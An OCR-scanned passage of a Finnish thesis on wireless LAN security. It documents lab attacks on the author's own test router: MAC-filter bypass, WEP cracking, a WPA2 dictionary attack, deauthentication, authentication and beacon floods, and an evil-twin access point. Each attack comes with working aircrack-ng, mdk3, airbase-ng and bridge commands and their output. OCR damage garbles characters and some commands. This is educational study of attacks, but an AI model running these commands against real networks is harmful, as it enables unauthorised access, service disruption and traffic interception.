netelm& langattomalle l&hiverkolle ja tdmé& on helposti Kierrettévissa va-
paasti saatavilla tyokaluilla.

MAC-osoitesuodatuksen testausta varten WLAN-reititin on madritetty en-
nen testin aloittamista kayttamaan suojauksenaan pelkkéda MAC-suodatusta
ja sille on sallittu ainoastaan testikayttajan MAC-osoite 20:10:7a:23:fc:f0.

MAC-osoite suodatuksen kiertdminen onnistui kuuntelemalla verkkoliiken-
netta langattoman reitittimen ja siihen yhdistaneiden kayttajien valilla, kayt-
taen airodumpia.

Airodump asetettiin kuuntelemaan kanavaa 1, jolla testiverkko operoi.

airodump-ng -c¢ 1 wlanlmon

Komennon antamisen jalkeen, huomaa airodump kanavalla olevan kaytta-
jan, joka on yhdistanyt Testi-verkkoon. Tasta saatiin poimittua talteen kayt-
tajan MAC-osoite.

MAC-osoite vaihdettiin hyokkaajan koneen langattomalle verkkokortille
kayttoon macchanger-tyokalulla.

macchanger -m 20:10:7A:23:FC:F0 wlanO0

Vaihdoksen jalkeen, voidaan hyokkadjan koneelta yhdistaa Testi-verkkoon.

iw wlanO connect Testi

MAC-suodatuksen kiertdminen onnistui vaivattomasta ja testi todistaa
MAC-suodatuksen olevan riittdméaton yksinaan verkon suojaamiseksi. On-
kin suositeltavaa kayttdd MAC-suodatusta yhdessd WPAZ2-salauksen
kanssa tietoturvan tason nostamiseksi.

5.3 WEP-salauksen murtaminen

WEP-avaimen murtaminen suoritettiin liittyva avain -hyokkéaykselld. Lan-
gaton reititin méaritettiin kayttamaan WEP-salausta ja satunnaisesti luotua
104-bitin mittaista WEP-avainta.
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Kéyttaja kirjautui sisélle verkkoon, jonka jalkeen hyokkaajan koneelta ase-
tettiin verkkokortti taltioimaan litkennetté ja tallentamaan salattu liikenne
tekstitiedostoon.

airodump-ng --bssid 4c:9e:ff:91:09:c5 --channel 1 --write
demo2 wlanlmon

Liittyva avain -hyokkéyksessa pyritdéan taltioimaan mahdollisimman paljon
eri alustusvektoreilla salattuja WEP-kehyksia ja purkamaan WEP-avain
néiden yhtélaisyyksien pohjalta. Ainoastaan yhden kayttajan ollessa kirjau-
tuneena verkkoon, on verkon liikennemaéarat varsin pienet. Tamén vuoksi
hyokkayksen nopeuttamiseksi kaytettiin aireplay-tyokalua, joka tunnistaa
ARP-kyselyt verkossa sen ulkopuolelta ja monistaa naitd, kayttden lahde-
osoitteena verkossa olevan kayttdjan MAC-osoitetta.

aireplay-ng -3 -b 4C:9E:FF:91:B9:C5 -h 20:10:7A:23:FC:F0

Varsinainen avaimen purkaminen tiedostosta tapahtui aircrack-ng -tyoka-
lulla (Kuva 13).

aircrack-ng demo2.cap

rOO(@kdlI'PCZ" - O N <] ‘
File Edit View Search Terminal Help

Aircrack-ng 1.2 rc3

[00:01:40] Tested 821 keys (got 43925 IVs)

) 41(49408)

KEY FOUND! [ 74:AE:9E:14:99:A9:58:71:66:55:2
Decrypted correctly: 100%

Kuva 13. WEP-salauksen murtaminen aircrackilla.

Testi todistaa WEP-salaukseen liittyvien haavoittuvuuksien olevan tosiasia.
Testissa taysin satunnaisesti luotu WEP-avain murtui alle kahdessa minuu-
tissa aireplay:n ja aircrackin avulla. Testi suoritettiin vield toistamiseen uu-
della WEP-avaimella ja toisella kerralla WEP-avain murtui vield hieman
nopeammin.

54 WPAZ2-sanakirjahyokkays

Ennen testauksen aloittamista madritettiin verkolle kayttoén WPA2-salaus
ja télle PSK. Hyokké&ajan kone asetettiin kuuntelemaan langatonta reititinta
ja tallentamaan kerétty liikenne tiedostoon.

airodump-ng --bssid 4C:9E:FF:91:B9:C5 --channel 1 --write
Capture wlanlmon
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PSK:n selvittamiseksi vaaditaan kéyttajan kirjautuminen Testi-verkkoon ja
neliosaisen kéttelyn taltiointi (Kuva 14, Kuva 15).

root@Kali-PC: ~ (- O]
File Edit View Search Terminal Help

CH 1 ][ Eleg : 4 mins 1[ 2 3-14 14:49 ][ WPA handshake: 4C:9E:FF:91:B9:C5

BSSID PWR RXQ Bea ] #Data, #/s CH MB ENC CIPHER AUTH ESSID
4C:9E:FF:91:B9:C5 -41 1l@@ 121 (¢] 1 54e WPAZ CCMP e Teett
BSSID STATION WR ost Frames P

4C:9E:FF:91:B9:C5 2 :FC:FG -B9 Be- Qe 3 945

Kuva 14. airodump ja neliosaisen kéttelyn onnistunut taltiointi.

\ |aapa|

No. Time Source Destination Protocol Length Info
72 15.970817 ZyxelCom_91:b9:c5 GemtekTe 23:fc:f@ EAPOL 155 Key (Message 1 of 4)
79 15.978487 GemtekTe_23:fc:f@ ZyxelCom_91:b9:c5 EAPOL 155 Key (Message 2 of 4)
81 15.984641 ZyxelCom_91:b9:c5 GemtekTe_23:fc:f@ EAPOL 189 Key (Message 3 of 4)
83 15.986673 GemtekTe_23:fc:f@ ZyxelCom_91:b9:c5 EAPOL 133 Key (Message 4 of 4)

Kuva 15. Taltioitu kokonainen neliosainen kattely Wiresharkissa avattuna.

Sanakirjahyokkéyksen tapauksessa teho perustuu kaytettavissa olevan sa-
nalistan lukumdaradn ja verkon salausavaimen kompleksisuuteen — mité
helpommin arvattavissa oleva avain ja mita laajempi sanakirja, sen toden-
nakdisempad on avaimen selvittdminen. Kalissa on asennettuna jo valmiiksi
sanalistoja ja laajempia listoja on myos ladattavissa Internetista. Tassa tes-
tissé kéytettiin noin 1,2 miljoonan sanan listaa.

Sanakirjahyokkays toteutettiin aircrackilla (Kuva 16).

aircrack-ng Capture-01.cap -w /usr/share/word-
lists/sglmap.txt
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root@Kali-PC: ~ (- o~
File Edit View Search Terminal Help

Aircrack-ng 1.2 rc3

20] 624832 keys tested (3058.98 k/s)

KEY FOUND! [ salasana ]

Master Key 1 36 F6 EC 7 94 EE 60 EO 2C 6
F3 )C 17 5A B2

Transient Key : CS9 € 6 ED 59 3A 9E ¢

EAPOL HMAC : 56 5 0D 4D 6E 3E FF 98 5A

Kuva 16. WPA2-avaimen purkaminen aircrackilla.

Aircrack sai varsin lyhyessa ajassa laskettua ja selvitettya langattoman I&-
hiverkon PSK:n. Testissa todistettiin yksinkertaisten salasanojen olevan
varsin haavoittuvaisia sanakirjahyokkayksille. Hyokkaajan ei tarvitse olla
verkon valittomassa laheisyydessa kuin sen ajan, jotta saadaan yhden kéyt-
tajan todennus taltioitua. Taman jalkeen sanakirjahyokkaysté ja PSK:n sel-
vitystd voidaan jatkaa kokonaan paikallisesti.

5.5 Palvelunestohyokkaykset

Teoriakappaleessa esitellyistd hyokkayksista testattiin kaytannossa de-aut-
hentication-, todennuspyynto- sekd beacon-tulvitus -hyokkayksid. Hyok-
kayksia kohdennettiin seka verkon kéyttajaan etta langattomaan reitittimeen
ja tavoitteena oli tutkia, mika ndiden vaikutus on langattoman lahiverkon
kaytettavyyteen ja toimintaan.

5.5.1 De-authentication -palvelunestohydkkays

Hyokkaysta varten testikéayttdja on jo valmiiksi kirjautuneena langattomaan
verkkoon. Kyseinen hyokkays kohdistettiin yksittaiseen verkon kéyttgjaan.
Hyokkaajan koneelta lahetettiin aireplaylla de-authentication -kehyksia
sekd kayttajalle ettd langattomalle reitittimelle samanaikaisesti, kayttaen
naiden MAC-osoitteita kehysten osoitetiedoissa. Kyseiset kehykset kerto-
vat langattomalle reitittimelle, ettd MAC-osoitteen omistava kayttdja haluaa
kirjautua ulos verkosta. Kuvassa 17 Wireshark-taltiointi liikenteestd hyok-
kéyksen ajalta.

aireplay-ng -0 0 -a 4C:9E:FF:91:B9:C5 -c 20:10:7A:23:FC:F0
wlanlmon
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[ [whan.fe.type_subtype==12|

Mo. Time Source Destination Frotocol Length  Info
1045 64.884326 ZyxelCom_91:b9:c5 GemtekTe_23:fc:f0 802.11 26 Deauthentication, SN=@, FN=0, Flags=........
1046 64.885350 ZyxelCom_91:b9:c5 GemtekTe_23:fc:feo 802.11 26 Deauthentication, SN=@, FN=0, Flags=........
1048 64.886374 GemtekTe_23:fc:fo ZyxelCom_91:b9:c5 802.11 26 Deauthentication, SN=1, FN=0, Flags=........
1049 64.887910 GemtekTe_23:fc:fo ZyxelCom_91:b9:c5 802.11 26 Deauthentication, SN=1, FN=0, Flags=........
1051 64.889958 ZyxelCom_91:b9:c5 GemtekTe_23:fc:f@ 802.11 26 Deauthentication, SN=2, FN=@, Flags=........
1052 64.892006 GemtekTe_23:fc:f@  ZyxelCom 91:b9:c5  802.11 26 Deauthentication, SN=3, FN=0, Flags=........
1853 64.895590 ZyxelCom_91:b9:c5  GemtekTe_23:fc:f@  802.11 26 Deauthentication, SN=4, FN=0, Flags=........
1054 64.896614 ZyxelCom_91:b9:c5 GemtekTe_23:fc:f@ 802.11 26 Deauthentication, SN=2, FN=@, Flags=........
1055 64.897638 GemtekTe_23:fc:fo ZyxelCom_91:b9%:c5 802.11 26 Deauthentication, SN=5, FN=@, Flags=........
1056 64.897638 GemtekTe_23:fc:f@ ZyxelCom_91:b9%:c5 802.11 26 Deauthentication, SN=3, FN=@, Flags=........

Kuva 17. Hyokkayksen aikana taltioitu liikenne Wiresharkissa avattuna.

De-authentication -hydkkéys havaittiin testissa varsin tehokkaaksi. Verkon
kayttaja el padssyt missédén vaiheessa hyokkayksen aikana takaisin verk-
koon, vaan menetti yhteyden taysin.

5.5.2 Todennuspyyntohyokkays

Todennuspyyntohyokkays kohdistettiin langattomaan reitittimeen, tavoit-
teena tukiaseman ylikuormittaminen. Hyokkéyksen teho perustuu langatto-
man reitittimen suorituskyvyn rajallisuuteen — langattomalle reitittimelle l1a-
hetetddn vaarennettyja authentication request -kehyksia niin paljon, ettei se
pysty niitd ajoissa kasittelemaén eika niihin vastaamaan.

Hyokkays toteutettiin Kaliin saatavalla mkd3-tydkalulla. mkd3 luo authen-
tication-kehyksia ja generoi satunnaisia MAC-osoitteita kehysten lahetta-
jiksi (Kuva 18).

mkd3 a -a 4C:9E:FF:91:B9:C5

[ W [wlan.da == 4c:9e: o 1:b9:c5]

No. Time Source Destination Protocol Length  Info
1 ©.000000000 @f:3d:15:Tb:77:44 ZyxelCom_91:b3:c5 802.11 43 Authentication, SN=@, FN=8,
2 ©.900841716 ZyxelCom_91:hb9:c5 802.11 42 authentication, Sh=e, FN=8,
4 8.803251813 ZyxelCom_91:b3:c5 882.11 =0, FN=B,
5 ©.903300770 ZyxelCom 91:b9:c5 802.11 =@, FN=0,
8 ©.805881327 ZyxelCom_91:b9:c5 882.11 =8, FN=B,
9 ©.005048438 ZyxelCom 91:b3:c5 802.11 =@, FN=0,
13 ©.887625967 ZyxelCom _91:b9:c5 802.11 43 Authentication, SN=@, FN=B,
14 8.807655682 ZyxelCom_91:b9:c5 802.11 42 Authentication, SN=@, FN=0,
18 ©.818251375 ZyxelCom_91:h9:c5 802.11 43 Authentication, Sh=@, FN=8,
19 ©.818298862 ZyxelCom_91:b3:c5 882.11 42 Authentication, SN=@, FN=B,
23 ©.912875270 ZyxelCom 91:b9:c5 802.11 =@, FN=0,
24 ©.812921888 ZyxelCom_91:b9:c5 882.11 =8, FN=B,
3@ 8.917376736 ZyxelCom 91:b3:c5 802.11 =@, FN=0,
31 .817427898 ZyxelCom _91:b9:c5 802.11 42 Authentication, SH=@, FN=8,
35 ©.919373618 H ZyxelCom_91:b9:c5 802.11 43 Authentication, SN=@, FN=8,
36 ©.81993@971 8c:37:4d:aa:71:74 ZyxelCom_91:h9:c5 802.11 42 Authentication, Sh=e, FN=8,
39 8.821873520 31:e2:8f:24:18:9F ZyxelCom_91:b3:c5 882.11 43 Authentication, SH=@, FN=B,
41 ©.921922791 H ZyxelCom 91:b9:c5 802.11 =@, FN=0,
43 B.823373976 ZyxelCom_91:b9:c5 882.11 =8, FN=B,
44 0.023422667 ZyxelCom 91:b3:c5 802.11 =@, FN=0,

Kuva 18. Kuvakaappaus Wiresharkista hyokkayksen ajalta.

Hyokkéayksella ei saavutettu haluttua lopputulosta (Kuva 19). Testin aikana
verkkoon kirjautuneella ké&yttajalla ei havaittu ongelmia langattoman yhtey-
den kanssa. Langaton reititin hylkasi vaarennetyt todennuspyynnoét ja reitit-
timell& todennadkdisesti oli sisdénrakennettu suojaus lyhyen ajan sisélla ta-
pahtuvia todennuspyyntdja vastaan.
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Kuva 19. Kuva hydkkayksestd Kalin komentorivilta.

5.6 Beacon-tulvitus

Testi toteutettiin Kalin mdk3 tydkalulla. Tata ennen oli luotuna lista ssid.txt,
johon siséllytettiin SSID:t, joita halutaan hyokkadjan koneelta mainostaa
beacon-kehyksilla. Hyokkayksella pyrittiin hdiritsemaan kayttajan kirjautu-
mista haluamaansa verkkoon.

Parametri a sisallyttda beacon-kehykseen WPA-CCMP tunnisteet. Paramet-
rilld m, mdk3 lahettadé kehykset satunnaisella MAC-osoitteella, siséllyttaen
lahettdjan MAC-osoitteen satunnaisesti jonkin laitevalmistajan OUI-
tunnisteen. Oletuksena mdk3 lahettdd beaconeja 50ms valein. Kuvassa 20
nahdaan, milta liikenne ndyttda Wiresharkissa ja kuvassa 21 on nakyma
Windows-kéyttajan koneelta.

mdk3 wlanlmon b -f ssid.txt -a -m

Mo. Time Source Destination Protocol  Length Info
10.980000000 LinksysG_25:cc:31 Broadcast 8682.11 185 Beacon frame, SN=8, FN=8, S5ID=Testil
20.881150052 LinksysG_25:cc:3l Broadcast 882,11 186 Beacon frame, SN=8, FN=8, 55ID=Testil
4@.816182340 Cisco_23:d@:f7 Broadcast 882.11 1@5 Beacon frame, SN=@, FN=8, S55ID=Testi2
50.817246746  Cisco_23:d@:f7 Broadcast 882.11 186 Beacon frame, SN=@, FN=8, , S55ID=Testi2
60.932246784  Universa_b6:4a:83 Broadcast 802.11 185 Beacon frame, SN=@, FN=8, , 55ID=Testi3
7@.83337@836  Universa_b6:4a:83 Broadcast 8682.11 186 Beacon frame, SN=8, FN=8, S5ID=Testi3
8@.848373981 3Com_b@:6@:b3 Broadcast 8682.11 184 Beacon frame, SN=8, FN=8, 55ID=Testi
9@.849526983 3Com_b@:68:b3 Broadcast 882.11 1@5 Beacon frame, SN=@, FN=8, S55ID=Testi
©.864514963  Cabletro_@4:la:5c Broadcast 882.11 184 Beacon frame, SN=@, FN=8, , S5ID=Testi
©.865666025 Cabletro_B4:la:5c Broadcast 882.11 185 Beacon frame, SN=@, FN=8, , S5ID=Testi
©.880687698  AmdPcnet_a3:da:52 Broadcast 8682.11 184 Beacon frame, SN=@, FN=8, SSID=T3sti
@.881951211  AmdPcnet_a3:da:52 Broadcast 882.11 185 Beacon frame, SN=@, FN=0, SSID=T3sti
@.896899362 D-Link 5d:68:8e Broadcast 882.11 184 Beacon frame, SN=@, FN=8, S5ID=Te5ti
©.298050092 D-Link 5d:60:8e Broadcast 882.11 185 Beacon frame, SN=@, FN=8, , SS5ID=Te5ti

Kuva 20. Wireshark-taltiointi liikenteestd. Beacon-kehysten lahettdjina useita eri val-
mistajia.
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Wireless Metwork Cennection ~
Testi2 LRE
Testil L
Testi3 L
Testi - q'ﬂ
Verkkol - q'ﬂ
testi - q'ﬁ
Tst - q'ﬁ
Testl - q'ﬁ -
Open Metwerk and Sharing Center

Kuva 21. Kayttajan kannettavan tietokoneen nakyma verkoista. Joukossa langattoman
reitittimen mainostama oikea SSID “Testi”.

Verkot testikayttajalle nakyivat WPA-suojattuina, kuin mind tahansa nor-
maalina verkkona joihin voisi kirjautua. Kayttéja voi valita haluamansa ver-
kon ja kirjautua, mutta salasanan syoton jalkeen ei mitaan tapahdu.

Beacon-tulvitus on muodoltaan héiritseva hyokkéays, mutta testien aikana
havaittiin myos kéyttajan koneen langattoman verkkokortin kdyvén alhaalla
muutamaan otteeseen. Beacon-tulvituksella voidaan aikaansaada ongelmia
paatelaitteiden langattomien verkkokorttien kanssa, ndiden joutuessa pro-
sessoimaan tihedén tahtiin vastaanotettuja kehyksia.

5.7 Honeypot-vélimieshyokkéays

Testissa luotiin hyokk&aajan koneelle honeypot-tukiasema, tavoitteena saada
kayttdja yhdistamaan tdhan automaattisesti. Testilaitteena kaytettiin alypu-
helinta, joka oli jo kerran kirjautunut salaamattomaan Testi-verkkoon ja tal-
lentanut tdman muistiinsa. Langattomasta reitittimestd otettiin WLAN-
toiminnallisuus kokonaan pois ja hyokkaajan kone kytkettiin reitittimeen
Ethernet-kaapelilla.

Testin toteuttamista varten asennettiin Linuxin bridge-utils -paketti, joka
mahdollistaa langallisen- ja langattoman verkkokortin siltaamisen. Honey-
pot-tukiaseman ja Testi-SSID:n luonti tapahtui airbase-tyokalulla (Kuva
22).

airbase-ng -e "Testi" -c 6 mon0

airbasen luoman atO-virtuaaliliitdannan ja langallisen verkkokortin ethO va-
lille luotiin silta ja asetettiin Kali reitittdmaan liikenne langallista verkko-
korttia k&yttaden langattomalle reitittimelle. Lopuksi viel& otettiin k&yttoon
virtuaaliliitdnta atO ja aiemmin luotu siltaus.

brctl addbr Silta

brctl addif Silta ethO

brctl addif Silta atO

echo 1 > /proc/sys/net/ipv4/ip forward
route add default gateway 192.168.0.1
ifconfig at0 up
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ifconfig Silta up

Puhelimesta asetettiin WLAN-toiminto paalle ja pian taman jalkeen, puhe-
lin havaitsi l&histolla olevan Testi-verkon. Laitteen ollessa jo tallentanut
Testi-nimisen verkon muistiin aiemmin, laite yhdisti verkkoon automaatti-
sesti ilman, ettd verkkoa tuli valita itse. Puhelin sai IP-osoitteen langatto-
malta reitittimeltd hyokkaajan koneen valittaména ja puhelimella oli taysi
paasy ulos Internetiin. Mikali verkkoliikenteessa ei kaytetd ylimééaraista sa-
lausta, kaikki litkenne voidaan nahdé salaamattomana hytkkaajan koneelta
esimerkiksi Wiresharkin avulla.

root@kali:~# airbase-ng -c 6 -e "Testi” mon®
Created tap interface ato
Trying to set MTU on at® to 1560
Trying to set MTU on mon® to 1800

Access Point with BSSID 60:E3:27:1C:35:E5 started.
: Got channel -1, expected a value > 0.
:26 Client A0:39:F7:3B:A6:78 associated (unencrypted) to ESSID: "Testi"

Kuva 22.  Alypuhelin yhdisti airbase-ng:n luomaa Testi-verkkoon.

Valimieshyokkayksesta tekee vaarallisen se, ettei honeypot-tukiasemaan
yhdistaminen nakynyt kayttajalle mitenk&dan. Honeypot-valimieshyok-
kaysta voidaan potentiaalisesti hyodyntaa ainakin kahdella tavalla:

- kuuntelemalla paatelaitteen l&dhettdmia probe request -kehyksid, joilla
laitteesta riippuen saatetaan aktiivisesti kysell& aiemmin tallennettuja
verkkoja ymparistosta

- tarjoamalla esimerkiksi jonkin yleisen paikan SSID-nimi honeypot-tu-
kiaseman kautta, silla olettamuksella, ettd jokin l&histolla oleva paate-
laite on aiemmin ollut t&ssé verkossa Kirjautuneena ja tallentanut sen
muistiin

6 YHTEENVETO

Tietoturva on hyvin tarkedssé roolissa langattomien lahiverkkojen osalta
naiden yleistyessa koko ajan. Langattoman lahiverkon mahdollistaessa ke-
nen tahansa liittymisen tietoverkkoon radiosignaalin kantaman alueella, on
tarkeda huolehtia verkon suojauksesta ja verkon toimivuuden varmistami-
sesta. Historian aikana kaytetyista langattoman l&hiverkon suojauksista on
I0ytynyt useita eri haavoittuvuuksia ja myos luotetuimmaksi todettu WPA.-
salaus ei ole aukoton.

Opinnéaytetydssa kaytiin l1&pi langattomiin l&hiverkkoihin kohdistuvia hyok-
kéyksid. Opinndytetydssé esitettiin useiden langattoman l&hiverkon suojaa-
miseen tarkoitetun salauksen tai protokollan olevan haavoittuvaisia ulko-
puoliselle hyokkaajalle.

Hyokkayksien toteuttaminen ei itsessdan vaatinut kovin suurta teknista
osaamista, vaan kaikki tarvittava tietous oli saatavilla alan Kirjallisuudesta
ja Internetistd kasin. Testeissa havaittiin eritoten palvelunestohytkkéysten
olevan todella tehokkaita langatonta l&hiverkkoa kohden ja naiden tehok-
kuutta voitaisiin viel&4 nostaa paremman laitteiston ja radion l&hetystehon
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avulla. Oli mielenkiintoista havaita, ett4 verkon ulkopuolelta pystyttiin to-
teuttamaan konkreettisia verkon toimintaa haittaavia ja tietoturvan riskee-
raavia hyokkéayksié suurellakin onnistumistodennakoisyydella.

Opinndytetyon aihe mielenkiintoinen ja asiaan perehtyminen vei runsaasti
aikaa. Oma tavoitteeni opinnaytetyonprosessin aikana oli oppia WLAN-
tekniikasta ja tavoite kyll& tayttyi. Aika ndytta, miten langattoman l&hiver-
kon tietoturva tulee kehittymaan.
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